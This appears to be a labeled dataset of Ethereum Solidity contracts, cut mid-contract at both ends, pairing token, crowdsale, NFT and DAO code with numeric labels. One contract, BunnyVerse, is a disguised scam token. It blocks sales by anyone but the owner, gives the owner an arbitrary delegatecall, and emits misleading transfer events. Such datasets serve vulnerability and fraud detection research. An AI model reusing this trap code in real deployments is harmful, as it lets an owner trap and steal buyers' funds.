for (uint256 i=0;i<=_currentMilestone;i++) {
require(_milestonesFundings[i] == _currentFundings[i]);
}
daoStorage().changeFundings(_proposalId, _milestonesFundings, _finalReward);
emit ChangeProposalFunding(_proposalId);
}
function finalizeProposal(bytes32 _proposalId)
public
{
senderCanDoProposerOperations();
require(isFromProposer(_proposalId));
require(isEditable(_proposalId));
checkNonDigixProposalLimit(_proposalId);
require(getTimeLeftInQuarter(now) > getUintConfig(CONFIG_DRAFT_VOTING_PHASE).add(getUintConfig(CONFIG_VOTE_CLAIMING_DEADLINE)));
address _endorser;
(,,_endorser,,,,,,,) = daoStorage().readProposal(_proposalId);
require(_endorser != EMPTY_ADDRESS);
daoStorage().finalizeProposal(_proposalId);
daoStorage().setProposalDraftVotingTime(_proposalId, now);
emit FinalizeProposal(_proposalId);
}
function finishMilestone(bytes32 _proposalId, uint256 _milestoneIndex)
public
{
senderCanDoProposerOperations();
require(isFromProposer(_proposalId));
uint256[] memory _currentFundings;
(_currentFundings,) = daoStorage().readProposalFunding(_proposalId);
require(_milestoneIndex < _currentFundings.length);
uint256 _startOfCurrentMilestone = startOfMilestone(_proposalId, _milestoneIndex);
require(now > _startOfCurrentMilestone);
require(daoStorage().readProposalVotingTime(_proposalId, _milestoneIndex.add(1)) == 0);
daoStorage().setProposalVotingTime(
_proposalId,
_milestoneIndex.add(1),
getTimelineForNextVote(_milestoneIndex.add(1), now)
);
emit FinishMilestone(_proposalId, _milestoneIndex);
}
function addProposalDoc(bytes32 _proposalId, bytes32 _newDoc)
public
{
senderCanDoProposerOperations();
require(isFromProposer(_proposalId));
bytes32 _finalVersion;
(,,,,,,,_finalVersion,,) = daoStorage().readProposal(_proposalId);
require(_finalVersion != EMPTY_BYTES);
daoStorage().addProposalDoc(_proposalId, _newDoc);
emit AddProposalDoc(_proposalId, _newDoc);
}
function endorseProposal(bytes32 _proposalId)
public
isProposalState(_proposalId, PROPOSAL_STATE_PREPROPOSAL)
{
require(isMainPhase());
require(isModerator(msg.sender));
daoStorage().updateProposalEndorse(_proposalId, msg.sender);
}
function updatePRL(
bytes32 _proposalId,
uint256 _action,
bytes32 _doc
)
public
if_prl()
{
require(_action == PRL_ACTION_STOP || _action == PRL_ACTION_PAUSE || _action == PRL_ACTION_UNPAUSE);
daoStorage().updateProposalPRL(_proposalId, _action, _doc, now);
emit PRLAction(_proposalId, _action, _doc);
}
function closeProposal(bytes32 _proposalId)
public
{
senderCanDoProposerOperations();
require(isFromProposer(_proposalId));
bytes32 _finalVersion;
bytes32 _status;
(,,,_status,,,,_finalVersion,,) = daoStorage().readProposal(_proposalId);
require(_finalVersion == EMPTY_BYTES);
require(_status != PROPOSAL_STATE_CLOSED);
require(daoStorage().readProposalCollateralStatus(_proposalId) == COLLATERAL_STATUS_UNLOCKED);
daoStorage().closeProposal(_proposalId);
daoStorage().setProposalCollateralStatus(_proposalId, COLLATERAL_STATUS_CLAIMED);
emit CloseProposal(_proposalId);
require(daoFundingManager().refundCollateral(msg.sender, _proposalId));
}
function founderCloseProposals(bytes32[] _proposalIds)
external
if_founder()
{
uint256 _length = _proposalIds.length;
uint256 _timeCreated;
bytes32 _finalVersion;
bytes32 _currentState;
for (uint256 _i = 0; _i < _length; _i++) {
(,,,_currentState,_timeCreated,,,_finalVersion,,) = daoStorage().readProposal(_proposalIds[_i]);
require(_finalVersion == EMPTY_BYTES);
require(
(_currentState == PROPOSAL_STATE_PREPROPOSAL) ||
(_currentState == PROPOSAL_STATE_DRAFT)
);
require(now > _timeCreated.add(getUintConfig(CONFIG_PROPOSAL_DEAD_DURATION)));
emit CloseProposal(_proposalIds[_i]);
daoStorage().closeProposal(_proposalIds[_i]);
}
}
}
contract DaoFundingManager is DaoCommon {
address public FUNDING_SOURCE;
event ClaimFunding(bytes32 indexed _proposalId, uint256 indexed _votingRound, uint256 _funding);
constructor(address _resolver, address _fundingSource) public {
require(init(CONTRACT_DAO_FUNDING_MANAGER, _resolver));
FUNDING_SOURCE = _fundingSource;
}
function dao()
internal
view
returns (Dao _contract)
{
_contract = Dao(get_contract(CONTRACT_DAO));
}
function isProposalPaused(bytes32 _proposalId)
public
view
returns (bool _isPausedOrStopped)
{
(,,,,,,,,_isPausedOrStopped,) = daoStorage().readProposal(_proposalId);
}
function setFundingSource(address _fundingSource)
public
if_root()
{
FUNDING_SOURCE = _fundingSource;
}
function claimFunding(bytes32 _proposalId, uint256 _index)
public
{
require(identity_storage().is_kyc_approved(msg.sender));
require(isFromProposer(_proposalId));
require(!isProposalPaused(_proposalId));
require(!daoStorage().readIfMilestoneFunded(_proposalId, _index));
require(daoStorage().readProposalVotingResult(_proposalId, _index));
require(daoStorage().isClaimed(_proposalId, _index));
uint256 _funding = daoStorage().readProposalMilestone(_proposalId, _index);
daoStorage().setMilestoneFunded(_proposalId, _index);
msg.sender.transfer(_funding);
emit ClaimFunding(_proposalId, _index, _funding);
}
function refundCollateral(address _receiver, bytes32 _proposalId)
public
returns (bool _success)
{
require(sender_is_from([CONTRACT_DAO, CONTRACT_DAO_VOTING_CLAIMS, EMPTY_BYTES]));
refundCollateralInternal(_receiver, _proposalId);
_success = true;
}
function refundCollateralInternal(address _receiver, bytes32 _proposalId)
internal
{
uint256 _collateralAmount = daoStorage().readProposalCollateralAmount(_proposalId);
_receiver.transfer(_collateralAmount);
}
function moveFundsToNewDao(address _destinationForDaoFunds)
public
{
require(sender_is(CONTRACT_DAO));
uint256 _remainingBalance = address(this).balance;
_destinationForDaoFunds.transfer(_remainingBalance);
}
function () external payable {
require(
(msg.sender == FUNDING_SOURCE) ||
(msg.sender == get_contract(CONTRACT_DAO))
);
}
} | 0 | 700 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Constant {
function balanceOf( address who ) constant returns (uint value);
}
contract ERC20Stateful {
function transfer( address to, uint value) returns (bool ok);
}
contract ERC20Events {
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Constant, ERC20Stateful, ERC20Events {}
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract WhitelistSale is Owned {
ERC20 public manaToken;
uint256 public manaPerEth;
uint256 public initialTimestamp;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public bought;
uint256[6] public limitPerDay;
address public receiver;
event LogWithdrawal(uint256 _value);
event LogBought(uint orderInMana);
event LogUserAdded(address user);
event LogUserRemoved(address user);
function WhitelistSale (
ERC20 _manaToken,
uint256 _initialTimestamp,
address _receiver
)
Owned()
{
manaToken = _manaToken;
initialTimestamp = _initialTimestamp;
receiver = _receiver;
manaPerEth = 11954;
limitPerDay[0] = 3.3 ether;
limitPerDay[1] = 10 ether + limitPerDay[0];
limitPerDay[2] = 30 ether + limitPerDay[1];
limitPerDay[3] = 90 ether + limitPerDay[2];
limitPerDay[4] = 450 ether + limitPerDay[3];
limitPerDay[5] = 1500 ether + limitPerDay[4];
}
function withdrawMana(uint256 _value) onlyOwner returns (bool ok) {
return withdrawToken(manaToken, _value);
}
function withdrawToken(address _token, uint256 _value) onlyOwner returns (bool ok) {
return ERC20(_token).transfer(owner,_value);
LogWithdrawal(_value);
}
function changeReceiver(address _receiver) onlyOwner {
require(_receiver != 0);
receiver = _receiver;
}
function getDay() constant returns (uint256) {
return SafeMath.sub(block.timestamp, initialTimestamp) / 1 days;
}
modifier onlyIfActive {
require(getDay() >= 0);
require(getDay() < 6);
_;
}
function buy(address beneficiary) payable onlyIfActive {
require(beneficiary != 0);
require(whitelisted[msg.sender]);
uint day = getDay();
uint256 allowedForSender = limitPerDay[day] - bought[msg.sender];
if (msg.value > allowedForSender) revert();
uint256 balanceInMana = manaToken.balanceOf(address(this));
uint orderInMana = msg.value * manaPerEth;
if (orderInMana > balanceInMana) revert();
bought[msg.sender] = SafeMath.add(bought[msg.sender], msg.value);
manaToken.transfer(beneficiary, orderInMana);
receiver.transfer(msg.value);
LogBought(orderInMana);
}
function addUser(address user) onlyOwner {
whitelisted[user] = true;
LogUserAdded(user);
}
function removeUser(address user) onlyOwner {
whitelisted[user] = false;
LogUserRemoved(user);
}
function addManyUsers(address[] users) onlyOwner {
require(users.length < 10000);
for (uint index = 0; index < users.length; index++) {
whitelisted[users[index]] = true;
LogUserAdded(users[index]);
}
}
function() payable {
buy(msg.sender);
}
} | 1 | 3,897 |
pragma solidity ^0.4.18;
contract ERC721 {
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract CryptoTubers is ERC721 {
event Birth(uint256 tokenId, string name, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint256 tokenId);
string public constant NAME = "CryptoTubers";
string public constant SYMBOL = "CTUBE";
uint256 private startingPrice = 0.001 ether;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
mapping (uint256 => address) public tuberIndexToOwner;
mapping (address => uint256) private ownershipTokenCount;
mapping (uint256 => address) public tuberIndexToApproved;
mapping (uint256 => uint256) private tuberIndexToPrice;
address public ceoAddress;
address public cooAddress;
struct Tuber {
string name;
}
Tuber[] private tubers;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
function CryptoTubers() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function approve(
address _to,
uint256 _tokenId
) public
{
require(_owns(msg.sender, _tokenId));
tuberIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function createContractTuber(string _name) public onlyCLevel {
_createTuber(_name, address(this), startingPrice);
}
function getTuber(uint256 _tokenId) public view returns (
string tuberName,
uint256 sellingPrice,
address owner
) {
Tuber storage tuber = tubers[_tokenId];
tuberName = tuber.name;
sellingPrice = tuberIndexToPrice[_tokenId];
owner = tuberIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return NAME;
}
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = tuberIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function purchase(uint256 _tokenId) public payable {
address oldOwner = tuberIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = tuberIndexToPrice[_tokenId];
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 92), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
if (sellingPrice < firstStepLimit) {
tuberIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 90);
} else if (sellingPrice < secondStepLimit) {
tuberIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 90);
} else {
tuberIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 90);
}
_transfer(oldOwner, newOwner, _tokenId);
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
TokenSold(_tokenId, sellingPrice, tuberIndexToPrice[_tokenId], oldOwner, newOwner, tubers[_tokenId].name);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return tuberIndexToPrice[_tokenId];
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function symbol() public pure returns (string) {
return SYMBOL;
}
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = tuberIndexToOwner[_tokenId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTubers = totalSupply();
uint256 resultIndex = 0;
uint256 tuberId;
for (tuberId = 0; tuberId <= totalTubers; tuberId++) {
if (tuberIndexToOwner[tuberId] == _owner) {
result[resultIndex] = tuberId;
resultIndex++;
}
}
return result;
}
}
function totalSupply() public view returns (uint256 total) {
return tubers.length;
}
function transfer(
address _to,
uint256 _tokenId
) public
{
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public
{
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return tuberIndexToApproved[_tokenId] == _to;
}
function _createTuber(string _name, address _owner, uint256 _price) private {
Tuber memory _tuber = Tuber({
name: _name
});
uint256 newTuberId = tubers.push(_tuber) - 1;
require(newTuberId == uint256(uint32(newTuberId)));
Birth(newTuberId, _name, _owner);
tuberIndexToPrice[newTuberId] = _price;
_transfer(address(0), _owner, newTuberId);
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == tuberIndexToOwner[_tokenId];
}
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
tuberIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete tuberIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,786 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract BattleOfTitansToken is StandardToken, Pausable {
string public constant name = 'BattleOfTitans';
string public constant symbol = 'BTT';
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 360000000 * 10**uint256(decimals);
uint256 public constant launch_date = 1541980800;
uint public constant unfreeze_start_date = 1523059200;
uint public constant unfreeze_periods = 150;
uint public constant unfreeze_period_time = 86400;
uint public constant unfreeze_end_date = (unfreeze_start_date + (unfreeze_period_time * unfreeze_periods));
mapping (address => uint256) public frozenAccount;
event FrozenFunds(address target, uint256 frozen);
event Burn(address burner, uint256 burned);
function BattleOfTitansToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function freezeAccount(address target, uint256 freeze) onlyOwner {
require(block.timestamp < launch_date);
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function freezeCheck(address _from, uint256 _value) returns (bool) {
if (block.timestamp < unfreeze_start_date) {
require(balances[_from].sub(frozenAccount[_from]) >= _value );
} else if(block.timestamp < unfreeze_end_date) {
require(balances[_from].sub((frozenAccount[_from] / unfreeze_periods) * ((unfreeze_end_date - block.timestamp) / unfreeze_period_time)) >= _value);
}
return true;
}
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
} | 1 | 4,085 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BunnyVerse {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,455 |
pragma solidity ^0.4.21;
library Maths {
function plus(
uint256 addendA,
uint256 addendB
) public pure returns (uint256 sum) {
sum = addendA + addendB;
assert(sum - addendB == addendA);
return sum;
}
function minus(
uint256 minuend,
uint256 subtrahend
) public pure returns (uint256 difference) {
assert(minuend >= subtrahend);
difference = minuend - subtrahend;
return difference;
}
function mul(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
if (factorA == 0 || factorB == 0) return 0;
product = factorA * factorB;
assert(product / factorA == factorB);
return product;
}
function times(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
return mul(factorA, factorB);
}
function div(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
quotient = dividend / divisor;
assert(quotient * divisor == dividend);
return quotient;
}
function dividedBy(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
return div(dividend, divisor);
}
function divideSafely(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient, uint256 remainder) {
quotient = div(dividend, divisor);
remainder = dividend % divisor;
}
function min(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a <= b ? a : b;
return result;
}
function max(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a >= b ? a : b;
return result;
}
function isLessThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a < b;
return isTrue;
}
function isAtMost(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a <= b;
return isTrue;
}
function isGreaterThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a > b;
return isTrue;
}
function isAtLeast(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a >= b;
return isTrue;
}
}
contract Manageable {
address public owner;
address public manager;
event OwnershipChanged(address indexed previousOwner, address indexed newOwner);
event ManagementChanged(address indexed previousManager, address indexed newManager);
function Manageable() public {
owner = msg.sender;
manager = msg.sender;
}
modifier onlyManagement() {
require(msg.sender == owner || msg.sender == manager);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipChanged(owner, newOwner);
owner = newOwner;
}
function replaceManager(address newManager) public onlyManagement {
require(newManager != address(0));
ManagementChanged(manager, newManager);
manager = newManager;
}
}
contract ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract AbnormalERC20 {
function transfer(address to, uint256 value) public;
}
contract MythereumERC20Token is ERC20 {
function burn(address burner, uint256 amount) public returns (bool);
function mint(address to, uint256 amount) public returns (bool);
}
contract MythereumCardToken {
function mintRandomCards(
address _owner,
uint8 _editionNumber,
uint8 _numCards
) public returns (bool);
function improveCard(
uint256 _tokenId,
uint256 _addedDamage,
uint256 _addedShield
) public returns (bool);
}
contract Mythereum is Manageable {
using Maths for uint256;
struct Edition {
string name;
uint256 sales;
uint256 maxSales;
uint8 packSize;
uint256 packPrice;
uint256 packPriceIncrease;
}
mapping (uint8 => Edition) public editions;
mapping (address => bool) public isVIP;
mapping (address => bool) public isTokenAccepted;
